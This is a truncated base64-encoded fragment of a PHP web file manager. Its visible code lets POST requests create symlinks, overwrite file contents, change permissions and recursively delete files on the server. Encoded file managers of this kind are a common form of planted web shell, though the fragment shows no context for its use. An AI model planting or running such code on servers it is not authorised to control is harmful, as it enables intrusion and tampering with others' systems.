ZWxpbSkgJGRlc3QgLj0gYmFzZW5hbWUoJGZpbGUpOwoKCQlpZiAoIWVtcHR5KCRfUE9TVFsncmVsYXRpdmUnXSkpICRmaWxlID0gYWJzb2x1dGUycmVsYXRpdmUoYWRkc2xhc2goZGlybmFtZSgkZGVzdCkpLCAkZmlsZSk7CgoJCWlmICghQGZpbGVfZXhpc3RzKCRkZXN0KSAmJiBAc3ltbGluaygkZmlsZSwgJGRlc3QpKSB7CgkJCWxpc3RpbmdfcGFnZShub3RpY2UoJ3N5bWxpbmtlZCcsICRmaWxlLCAkZGVzdCkpOwoJCX0gZWxzZSB7CgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X3N5bWxpbmtlZCcsICRmaWxlLCAkZGVzdCkpOwoJCX0KCgl9IGVsc2UgewoKCQlodG1sX2hlYWRlcigpOwoKCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+Cgo8dGFibGUgY2xhc3M9ImRpYWxvZyIgaWQ9InN5bWxpbmsiPgo8dHI+Cgk8dGQgc3R5bGU9InZlcnRpY2FsLWFsaWduOiB0b3AiPicgLiB3b3JkKCdkZXN0aW5hdGlvbicpIC4gJzogPC90ZD4KCTx0ZD4KCQk8Yj4nIC4gaHRtbCgkZmlsZSkgLiAnPC9iPjxiciAvPgoJCTxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0icmVsYXRpdmUiIHZhbHVlPSJ5ZXMiIGlkPSJjaGVja2JveF9yZWxhdGl2ZSIgY2hlY2tlZD0iY2hlY2tlZCIgc3R5bGU9Im1hcmdpbi10b3A6IDFleCIgLz4KCQk8bGFiZWwgZm9yPSJjaGVja2JveF9yZWxhdGl2ZSI+JyAuIHdvcmQoJ3JlbGF0aXZlJykgLiAnPC9sYWJlbD4KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjcmVhdGVfc3ltbGluayIgLz4KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGUpIC4gJyIgLz4KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkaXIiIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+Cgk8L3RkPgo8L3RyPgo8dHI+Cgk8dGQ+JyAuIHdvcmQoJ3N5bWxpbmsnKSAuICc6IDwvdGQ+Cgk8dGQ+CgkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlc3RpbmF0aW9uIiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkZGlyZWN0b3J5KSAuICciIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+CgkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdjcmVhdGVfc3ltbGluaycpIC4gJyIgLz4KCTwvdGQ+CjwvdHI+CjwvdGFibGU+Cgo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4KCjwvZm9ybT4KCic7CgoJCWh0bWxfZm9vdGVyKCk7CgoJfQoKCWJyZWFrOwoKY2FzZSAnZWRpdCc6CgoJaWYgKCFlbXB0eSgkX1BPU1RbJ3NhdmUnXSkpIHsKCgkJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiXHJcbiIsICJcbiIsICRfUE9TVFsnY29udGVudCddKTsKCgkJaWYgKCgkZiA9IEBmb3BlbigkZmlsZSwgJ3cnKSkgJiYgQGZ3cml0ZSgkZiwgJGNvbnRlbnQpICE9PSBmYWxzZSAmJiBAZmNsb3NlKCRmKSkgewoJCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdzYXZlZCcsICRmaWxlKSk7CgkJfSBlbHNlIHsKCQkJbGlzdGluZ19wYWdlKGVycm9yKCdub3Rfc2F2ZWQnLCAkZmlsZSkpOwoJCX0KCgl9IGVsc2UgewoKCQlpZiAoQGlzX3JlYWRhYmxlKCRmaWxlKSAmJiBAaXNfd3JpdGFibGUoJGZpbGUpKSB7CgkJCWVkaXQoJGZpbGUpOwoJCX0gZWxzZSB7CgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2VkaXRlZCcsICRmaWxlKSk7CgkJfQoKCX0KCglicmVhazsKCmNhc2UgJ3Blcm1pc3Npb24nOgoKCWlmICghZW1wdHkoJF9QT1NUWydzZXQnXSkpIHsKCgkJJG1vZGUgPSAwOwoJCWlmICghZW1wdHkoJF9QT1NUWyd1ciddKSkgJG1vZGUgfD0gMDQwMDsgaWYgKCFlbXB0eSgkX1BPU1RbJ3V3J10pKSAkbW9kZSB8PSAwMjAwOyBpZiAoIWVtcHR5KCRfUE9TVFsndXgnXSkpICRtb2RlIHw9IDAxMDA7CgkJaWYgKCFlbXB0eSgkX1BPU1RbJ2dyJ10pKSAkbW9kZSB8PSAwMDQwOyBpZiAoIWVtcHR5KCRfUE9TVFsnZ3cnXSkpICRtb2RlIHw9IDAwMjA7IGlmICghZW1wdHkoJF9QT1NUWydneCddKSkgJG1vZGUgfD0gMDAxMDsKCQlpZiAoIWVtcHR5KCRfUE9TVFsnb3InXSkpICRtb2RlIHw9IDAwMDQ7IGlmICghZW1wdHkoJF9QT1NUWydvdyddKSkgJG1vZGUgfD0gMDAwMjsgaWYgKCFlbXB0eSgkX1BPU1RbJ294J10pKSAkbW9kZSB8PSAwMDAxOwoKCQlpZiAoQGNobW9kKCRmaWxlLCAkbW9kZSkpIHsKCQkJbGlzdGluZ19wYWdlKG5vdGljZSgncGVybWlzc2lvbl9zZXQnLCAkZmlsZSwgZGVjb2N0KCRtb2RlKSkpOwoJCX0gZWxzZSB7CgkJCWxpc3RpbmdfcGFnZShlcnJvcigncGVybWlzc2lvbl9ub3Rfc2V0JywgJGZpbGUsIGRlY29jdCgkbW9kZSkpKTsKCQl9CgoJfSBlbHNlIHsKCgkJaHRtbF9oZWFkZXIoKTsKCgkJJG1vZGUgPSBmaWxlcGVybXMoJGZpbGUpOwoKCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+Cgo8dGFibGUgY2xhc3M9ImRpYWxvZyI+Cjx0cj4KPHRkIGNsYXNzPSJkaWFsb2ciPgoKCTxwIHN0eWxlPSJtYXJnaW46IDAiPicgLiBwaHJhc2UoJ3Blcm1pc3Npb25fZm9yJywgJGZpbGUpIC4gJzwvcD4KCgk8aHIgLz4KCgk8dGFibGUgaWQ9InBlcm1pc3Npb24iPgoJPHRyPgoJCTx0ZD48L3RkPgoJCTx0ZCBzdHlsZT0iYm9yZGVyLXJpZ2h0OiAxcHggc29saWQgYmxhY2siPicgLiB3b3JkKCdvd25lcicpIC4gJzwvdGQ+CgkJPHRkIHN0eWxlPSJib3JkZXItcmlnaHQ6IDFweCBzb2xpZCBibGFjayI+JyAuIHdvcmQoJ2dyb3VwJykgLiAnPC90ZD4KCQk8dGQ+JyAuIHdvcmQoJ290aGVyJykgLiAnPC90ZD4KCTwvdHI+Cgk8dHI+CgkJPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiByaWdodCI+JyAuIHdvcmQoJ3JlYWQnKSAuICc6PC90ZD4KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ1ciIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDA0MDApIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+CgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZ3IiIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMDQwKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPgoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im9yIiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDAwNCkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4KCTwvdHI+Cgk8dHI+CgkJPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiByaWdodCI+JyAuIHdvcmQoJ3dyaXRlJykgLiAnOjwvdGQ+CgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idXciIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMjAwKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPgoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Imd3IiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDAyMCkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvdyIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAwMDIpIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+Cgk8L3RyPgoJPHRyPgoJCTx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQiPicgLiB3b3JkKCdleGVjdXRlJykgLiAnOjwvdGQ+CgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idXgiIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMTAwKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPgoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Imd4IiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDAxMCkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJveCIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAwMDEpIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+Cgk8L3RyPgoJPC90YWJsZT4KCgk8aHIgLz4KCgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzZXQiIHZhbHVlPSInIC4gd29yZCgnc2V0JykgLiAnIiAvPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9InBlcm1pc3Npb24iIC8+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGUpIC4gJyIgLz4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4KCjwvdGQ+CjwvdHI+CjwvdGFibGU+Cgo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4KCjwvZm9ybT4KCic7CgoJCWh0bWxfZm9vdGVyKCk7CgoJfQoKCWJyZWFrOwoKZGVmYXVsdDoKCglsaXN0aW5nX3BhZ2UoKTsKCn0KCi8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8KCmZ1bmN0aW9uIGdldGxpc3QgKCRkaXJlY3RvcnkpIHsKCWdsb2JhbCAkZGVsaW0sICR3aW47CgoJaWYgKCRkID0gQG9wZW5kaXIoJGRpcmVjdG9yeSkpIHsKCgkJd2hpbGUgKCgkZmlsZW5hbWUgPSBAcmVhZGRpcigkZCkpICE9PSBmYWxzZSkgewoKCQkJJHBhdGggPSAkZGlyZWN0b3J5IC4gJGZpbGVuYW1lOwoKCQkJaWYgKCRzdGF0ID0gQGxzdGF0KCRwYXRoKSkgewoKCQkJCSRmaWxlID0gYXJyYXkoCgkJCQkJJ2ZpbGVuYW1lJyAgICA9PiAkZmlsZW5hbWUsCgkJCQkJJ3BhdGgnICAgICAgICA9PiAkcGF0aCwKCQkJCQknaXNfZmlsZScgICAgID0+IEBpc19maWxlKCRwYXRoKSwKCQkJCQknaXNfZGlyJyAgICAgID0+IEBpc19kaXIoJHBhdGgpLAoJCQkJCSdpc19saW5rJyAgICAgPT4gQGlzX2xpbmsoJHBhdGgpLAoJCQkJCSdpc19yZWFkYWJsZScgPT4gQGlzX3JlYWRhYmxlKCRwYXRoKSwKCQkJCQknaXNfd3JpdGFibGUnID0+IEBpc193cml0YWJsZSgkcGF0aCksCgkJCQkJJ3NpemUnICAgICAgICA9PiAkc3RhdFsnc2l6ZSddLAoJCQkJCSdwZXJtaXNzaW9uJyAgPT4gJHN0YXRbJ21vZGUnXSwKCQkJCQknb3duZXInICAgICAgID0+ICRzdGF0Wyd1aWQnXSwKCQkJCQknZ3JvdXAnICAgICAgID0+ICRzdGF0WydnaWQnXSwKCQkJCQknbXRpbWUnICAgICAgID0+IEBmaWxlbXRpbWUoJHBhdGgpLAoJCQkJCSdhdGltZScgICAgICAgPT4gQGZpbGVhdGltZSgkcGF0aCksCgkJCQkJJ2N0aW1lJyAgICAgICA9PiBAZmlsZWN0aW1lKCRwYXRoKQoJCQkJKTsKCgkJCQlpZiAoJGZpbGVbJ2lzX2RpciddKSB7CgkJCQkJJGZpbGVbJ2lzX2V4ZWN1dGFibGUnXSA9IEBmaWxlX2V4aXN0cygkcGF0aCAuICRkZWxpbSAuICcuJyk7CgkJCQl9IGVsc2UgewoJCQkJCWlmICghJHdpbikgewoJCQkJCQkkZmlsZVsnaXNfZXhlY3V0YWJsZSddID0gQGlzX2V4ZWN1dGFibGUoJHBhdGgpOwoJCQkJCX0gZWxzZSB7CgkJCQkJCSRmaWxlWydpc19leGVjdXRhYmxlJ10gPSB0cnVlOwoJCQkJCX0KCQkJCX0KCgkJCQlpZiAoJGZpbGVbJ2lzX2xpbmsnXSkgJGZpbGVbJ3RhcmdldCddID0gQHJlYWRsaW5rKCRwYXRoKTsKCgkJCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSAkZmlsZVsnb3duZXJfbmFtZSddID0gQHJlc2V0KHBvc2l4X2dldHB3dWlkKCRmaWxlWydvd25lciddKSk7CgkJCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSAkZmlsZVsnZ3JvdXBfbmFtZSddID0gQHJlc2V0KHBvc2l4X2dldGdyZ2lkKCRmaWxlWydncm91cCddKSk7CgoJCQkJJGZpbGVzW10gPSAkZmlsZTsKCgkJCX0KCgkJfQoKCQlyZXR1cm4gJGZpbGVzOwoKCX0gZWxzZSB7CgkJcmV0dXJuIGZhbHNlOwoJfQoKfQoKZnVuY3Rpb24gc29ydGxpc3QgKCRsaXN0LCAka2V5LCAkcmV2ZXJzZSkgewoKCSRkaXJzID0gYXJyYXkoKTsKCSRmaWxlcyA9IGFycmF5KCk7CgkKCWZvciAoJGkgPSAwOyAkaSA8IHNpemVvZigkbGlzdCk7ICRpKyspIHsKCQlpZiAoJGxpc3RbJGldWydpc19kaXInXSkgJGRpcnNbXSA9ICRsaXN0WyRpXTsKCQllbHNlICRmaWxlc1tdID0gJGxpc3RbJGldOwoJfQoKCXF1aWNrc29ydCgkZGlycywgMCwgc2l6ZW9mKCRkaXJzKSAtIDEsICRrZXkpOwoJaWYgKCRyZXZlcnNlKSAkZGlycyA9IGFycmF5X3JldmVyc2UoJGRpcnMpOwoKCXF1aWNrc29ydCgkZmlsZXMsIDAsIHNpemVvZigkZmlsZXMpIC0gMSwgJGtleSk7CglpZiAoJHJldmVyc2UpICRmaWxlcyA9IGFycmF5X3JldmVyc2UoJGZpbGVzKTsKCglyZXR1cm4gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7Cgp9CgpmdW5jdGlvbiBxdWlja3NvcnQgKCYkYXJyYXksICRmaXJzdCwgJGxhc3QsICRrZXkpIHsKCglpZiAoJGZpcnN0IDwgJGxhc3QpIHsKCgkJJGNtcCA9ICRhcnJheVtmbG9vcigoJGZpcnN0ICsgJGxhc3QpIC8gMildWyRrZXldOwoKCQkkbCA9ICRmaXJzdDsKCQkkciA9ICRsYXN0OwoKCQl3aGlsZSAoJGwgPD0gJHIpIHsKCgkJCXdoaWxlICgkYXJyYXlbJGxdWyRrZXldIDwgJGNtcCkgJGwrKzsKCQkJd2hpbGUgKCRhcnJheVskcl1bJGtleV0gPiAkY21wKSAkci0tOwoKCQkJaWYgKCRsIDw9ICRyKSB7CgoJCQkJJHRtcCA9ICRhcnJheVskbF07CgkJCQkkYXJyYXlbJGxdID0gJGFycmF5WyRyXTsKCQkJCSRhcnJheVskcl0gPSAkdG1wOwoKCQkJCSRsKys7CgkJCQkkci0tOwoKCQkJfQoKCQl9CgoJCXF1aWNrc29ydCgkYXJyYXksICRmaXJzdCwgJHIsICRrZXkpOwoJCXF1aWNrc29ydCgkYXJyYXksICRsLCAkbGFzdCwgJGtleSk7CgoJfQoKfQoKZnVuY3Rpb24gcGVybWlzc2lvbl9vY3RhbDJzdHJpbmcgKCRtb2RlKSB7CgoJaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgewoJCSR0eXBlID0gJ3MnOwoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgewoJCSR0eXBlID0gJ2wnOwoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgewoJCSR0eXBlID0gJy0nOwoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgewoJCSR0eXBlID0gJ2InOwoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgewoJCSR0eXBlID0gJ2QnOwoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgewoJCSR0eXBlID0gJ2MnOwoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgewoJCSR0eXBlID0gJ3AnOwoJfSBlbHNlIHsKCQkkdHlwZSA9ICc/JzsKCX0KCgkkb3duZXIgID0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOwoJJG93bmVyIC49ICgkbW9kZSAmIDAwMjAwKSA/ICd3JyA6ICctJzsKCWlmICgkbW9kZSAmIDB4ODAwKSB7CgkJJG93bmVyIC49ICgkbW9kZSAmIDAwMTAwKSA/ICdzJyA6ICdTJzsKCX0gZWxzZSB7CgkJJG93bmVyIC49ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzsKCX0KCgkkZ3JvdXAgID0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOwoJJGdyb3VwIC49ICgkbW9kZSAmIDAwMDIwKSA/ICd3JyA6ICctJzsKCWlmICgkbW9kZSAmIDB4NDAwKSB7CgkJJGdyb3VwIC49ICgkbW9kZSAmIDAwMDEwKSA/ICdzJyA6ICdTJzsKCX0gZWxzZSB7CgkJJGdyb3VwIC49ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzsKCX0KCgkkb3RoZXIgID0gKCRtb2RlICYgMDAwMDQpID8gJ3InIDogJy0nOwoJJG90aGVyIC49ICgkbW9kZSAmIDAwMDAyKSA/ICd3JyA6ICctJzsKCWlmICgkbW9kZSAmIDB4MjAwKSB7CgkJJG90aGVyIC49ICgkbW9kZSAmIDAwMDAxKSA/ICd0JyA6ICdUJzsKCX0gZWxzZSB7CgkJJG90aGVyIC49ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsKCX0KCglyZXR1cm4gJHR5cGUgLiAkb3duZXIgLiAkZ3JvdXAgLiAkb3RoZXI7Cgp9CgpmdW5jdGlvbiBpc19zY3JpcHQgKCRmaWxlbmFtZSkgewoJcmV0dXJuIGVyZWcoJ1wucGhwJHxcLnBocDMkfFwucGhwNCR8XC5waHA1JCcsICRmaWxlbmFtZSk7Cn0KCmZ1bmN0aW9uIGdldG1pbWV0eXBlICgkZmlsZW5hbWUpIHsKCXN0YXRpYyAkbWltZXMgPSBhcnJheSgKCQknXC5qcGckfFwuanBlZyQnICA9PiAnaW1hZ2UvanBlZycsCgkJJ1wuZ2lmJCcgICAgICAgICAgPT4gJ2ltYWdlL2dpZicsCgkJJ1wucG5nJCcgICAgICAgICAgPT4gJ2ltYWdlL3BuZycsCgkJJ1wuaHRtbCR8XC5odG1sJCcgPT4gJ3RleHQvaHRtbCcsCgkJJ1wudHh0JHxcLmFzYyQnICAgPT4gJ3RleHQvcGxhaW4nLAoJCSdcLnhtbCR8XC54c2wkJyAgID0+ICdhcHBsaWNhdGlvbi94bWwnLAoJCSdcLnBkZiQnICAgICAgICAgID0+ICdhcHBsaWNhdGlvbi9wZGYnCgkpOwoKCWZvcmVhY2ggKCRtaW1lcyBhcyAkcmVnZXggPT4gJG1pbWUpIHsKCQlpZiAoZXJlZ2koJHJlZ2V4LCAkZmlsZW5hbWUpKSByZXR1cm4gJG1pbWU7Cgl9CgoJLy8gcmV0dXJuICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nOwoJcmV0dXJuICd0ZXh0L3BsYWluJzsKCn0KCmZ1bmN0aW9uIGRlbCAoJGZpbGUpIHsKCWdsb2JhbCAkZGVsaW07CgoJaWYgKCFmaWxlX2V4aXN0cygkZmlsZSkpIHJldHVybiBmYWxzZTsKCglpZiAoQGlzX2RpcigkZmlsZSkgJiYgIUBpc19saW5rKCRmaWxlKSkgewoKCQkkc3VjY2VzcyA9IGZhbHNlOwoKCQlpZiAoQHJtZGlyKCRmaWxlKSkgewoKCQkJJHN1Y2Nlc3MgPSB0cnVlOwoKCQl9IGVsc2VpZiAoJGRpciA9IEBvcGVuZGlyKCRmaWxlKSkgewoKCQkJJHN1Y2Nlc3MgPSB0cnVlOwoKCQkJd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGRpcikpICE9PSBmYWxzZSkgewoJCQkJaWYgKCRmICE9ICcuJyAmJiAkZiAhPSAnLi4nICYmICFkZWwoJGZpbGUgLiAkZGVsaW0gLiAkZikpIHsKCQkJCQkkc3VjY2VzcyA9IGZhbHNlOwoJCQkJfQoJCQl9CgkJCWNsb3NlZGlyKCRkaXIpOwoKCQkJaWYgKCRzdWNjZXNzKSAkc3VjY2VzcyA9IEBybWRpcigkZmlsZSk7CgoJCX0KCgkJcmV0dXJuICRzdWNjZXNzOwoKCX0KCglyZXR1cm4gQHVubGluaygkZmlsZSk7Cgp9CgpmdW5jdGlvbiBhZGRzbGFzaCAoJGRpcmVjdG9yeSkgewoJZ2xvYmFsICRkZWxpbTsKCglpZiAoc3Vic3RyKCRkaXJlY3RvcnksIC0xLCAxKSAhPSAkZGVsaW0pIHsKCQlyZXR1cm4gJGRpcmVjdG9yeSAuICRkZWxpbTsKCX0gZWxzZSB7CgkJcmV0dXJuICRkaXJlY3Rvcnk7Cgl9Cgp9CgpmdW5jdGlvbiByZWxhdGl2ZTJhYnNvbHV0ZSAoJHN0cmluZywgJGRpcmVjdG9yeSkgewoKCWlmIChwYXRoX2lzX3JlbGF0aXZlKCRzdHJpbmcpKSB7CgkJcmV0dXJuIHNpbXBsaWZ5X3BhdGgoYWRkc2xhc2goJGRpcmVjdG9yeSkgLiAkc3RyaW5nKTsKCX0gZWxzZSB7CgkJcmV0dXJuIHNpbXBsaWZ5X3BhdGgoJHN0cmluZyk7Cgl9Cgp9CgpmdW5jdGlvbiBwYXRoX2lzX3JlbGF0aXZlICgkcGF0aCkgewoJZ2xvYmFsICR3aW47CgoJaWYgKCR3aW4pIHsKCQlyZXR1cm4gKHN1YnN0cigkcGF0aCwgMSwgMSkgIT0gJzonKTsKCX0gZWxzZSB7CgkJcmV0dXJuIChzdWJzdHIoJHBhdGgsIDAsIDEpICE9ICcvJyk7Cgl9Cgp9CgpmdW5jdGlvbiBhYnNvbHV0ZTJyZWxhdGl2ZSAoJGRpcmVjdG9yeSwgJHRhcmdldCkgewoJZ2xvYmFsICRkZWxpbTsKCgkkcGF0aCA9ICcnOwoJd2hpbGUgKCRkaXJlY3RvcnkgIT0gJHRhcmdldCkgewoJCWlmICgkZGlyZWN0b3J5ID09IHN1YnN0cigkdGFyZ2V0LCAwLCBzdHJsZW4oJGRpcmVjdG9yeSkpKSB7CgkJCSRwYXRoIC49IHN1YnN0cigkdGFyZ2V0LCBzdHJsZW4oJGRpcmVjdG9yeSkpOwoJCQlicmVhazsKCQl9IGVsc2UgewoJCQkkcGF0aCAuPSAnLi4nIC4gJGRlbGltOwoJCQkkZGlyZWN0b3J5ID0gc3Vic3RyKCRkaXJlY3RvcnksIDAsIHN0cnJwb3Moc3Vic3RyKCRkaXJlY3RvcnksIDAsIC0xKSwgJGRlbGltKSArIDEpOwoJCX0KCX0KCWlmICgkcGF0aCA9PSAnJykgJHBhdGggPSAnLic7CgoJcmV0dXJuICRwYXRoOwoKfQoKZnVuY3Rpb24gc2ltcGxpZnlfcGF0aCAoJHBhdGgpIHsKCWdsb2JhbCAkZGVsaW07CgoJaWYgKEBmaWxlX2V4aXN0cygkcGF0aCkgJiYgZnVuY3Rpb25fZXhpc3RzKCdyZWFscGF0aCcpICYmIEByZWFscGF0aCgkcGF0aCkgIT0gJycpIHsKCQkkcGF0aCA9IHJlYWxwYXRoKCRwYXRoKTsKCQlpZiAoQGlzX2RpcigkcGF0aCkpIHsKCQkJcmV0dXJuIGFkZHNsYXNoKCRwYXRoKTsKCQl9IGVsc2UgewoJCQlyZXR1cm4gJHBhdGg7CgkJfQoJfQoKCSRwYXR0ZXJuICA9ICRkZWxpbSAuICcuJyAuICRkZWxpbTsKCglpZiAoQGlzX2RpcigkcGF0aCkpIHsKCQkkcGF0aCA9IGFkZHNsYXNoKCRwYXRoKTsKCX0KCgl3aGlsZSAoc3RycG9zKCRwYXRoLCAkcGF0dGVybikgIT09IGZhbHNlKSB7CgkJJHBhdGggPSBzdHJfcmVwbGFjZSgkcGF0dGVybiwgJGRlbGltLCAkcGF0aCk7Cgl9CgoJJGUgPSBhZGRzbGFzaGVzKCRkZWxpbSk7CgkkcmVnZXggPSAkZSAuICcoKFwuW15cLicgLiAkZSAuICddW14nIC4gJGUgLiAnXSopfChcLlwuW14nIC4gJGUgLiAnXSspfChbXlwuXVteJyAuICRlIC4gJ10qKSknIC4gJGUgLiAnXC5cLicgLiAkZTsKCgl3aGlsZSAoZXJlZygkcmVnZXgsICRwYXRoKSkgewoJCSRwYXRoID0gZXJlZ19yZXBsYWNlKCRyZWdleCwgJGRlbGltLCAkcGF0aCk7Cgl9CgkKCXJldHVybiAkcGF0aDsKCn0KCmZ1bmN0aW9uIGh1bWFuX2ZpbGVzaXplICgkZmlsZXNpemUpIHsKCgkkc3VmZmljZXMgPSAna01HVFBFJzsKCgkkbiA9IDA7Cgl3aGlsZSAoJGZpbGVzaXplID49IDEwMDApIHsKCQkkZmlsZXNpemUgLz0gMTAyNDsKCQkkbisrOwoJfQoKCSRmaWxlc2l6ZSA9IHJvdW5kKCRmaWxlc2l6ZSwgMyAtIHN0cnBvcygkZmlsZXNpemUsICcuJykpOwoKCWlmIChzdHJwb3MoJGZpbGVzaXplLCAnLicpICE9PSBmYWxzZSkgewoJCXdoaWxlIChpbl9hcnJheShzdWJzdHIoJGZpbGVzaXplLCAtMSwgMSksIGFycmF5KCcwJywgJy4nKSkpIHsKCQkJJGZpbGVzaXplID0gc3Vic3RyKCRmaWxlc2l6ZSwgMCwgc3RybGVuKCRmaWxlc2l6ZSkgLSAxKTsKCQl9Cgl9CgoJJHN1ZmZpeCA9ICgoJG4gPT0gMCkgPyAnJyA6IHN1YnN0cigkc3VmZmljZXMsICRuIC0gMSwgMSkpOwoKCXJldHVybiAkZmlsZXNpemUgLiAiIHskc3VmZml4fUIiOwoKfQoKZnVuY3Rpb24gc3RyaXAgKCYkc3RyKSB7Cgkkc3RyID0gc3RyaXBzbGFzaGVzKCRzdHIpOwp9CgovKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICovCgpmdW5jdGlvbiBsaXN0aW5nX3BhZ2UgKCRtZXNzYWdlID0gbnVsbCkgewoJZ2xvYmFsICRzZWxmLCAkZGlyZWN0b3J5LCAkc29ydCwgJHJldmVyc2U7CgoJaHRtbF9oZWFkZXIoKTsKCgkkbGlzdCA9IGdldGxpc3QoJGRpcmVjdG9yeSk7CgoJaWYgKGFycmF5X2tleV9leGlzdHMoJ3NvcnQnLCAkX0dFVCkpICRzb3J0ID0gJF9HRVRbJ3NvcnQnXTsgZWxzZSAkc29ydCA9ICdmaWxlbmFtZSc7CglpZiAoYXJyYXlfa2V5X2V4aXN0cygncmV2ZXJzZScsICRfR0VUKSAmJiAkX0dFVFsncmV2ZXJzZSddID09ICd0cnVlJykgJHJldmVyc2UgPSB0cnVlOyBlbHNlICRyZXZlcnNlID0gZmF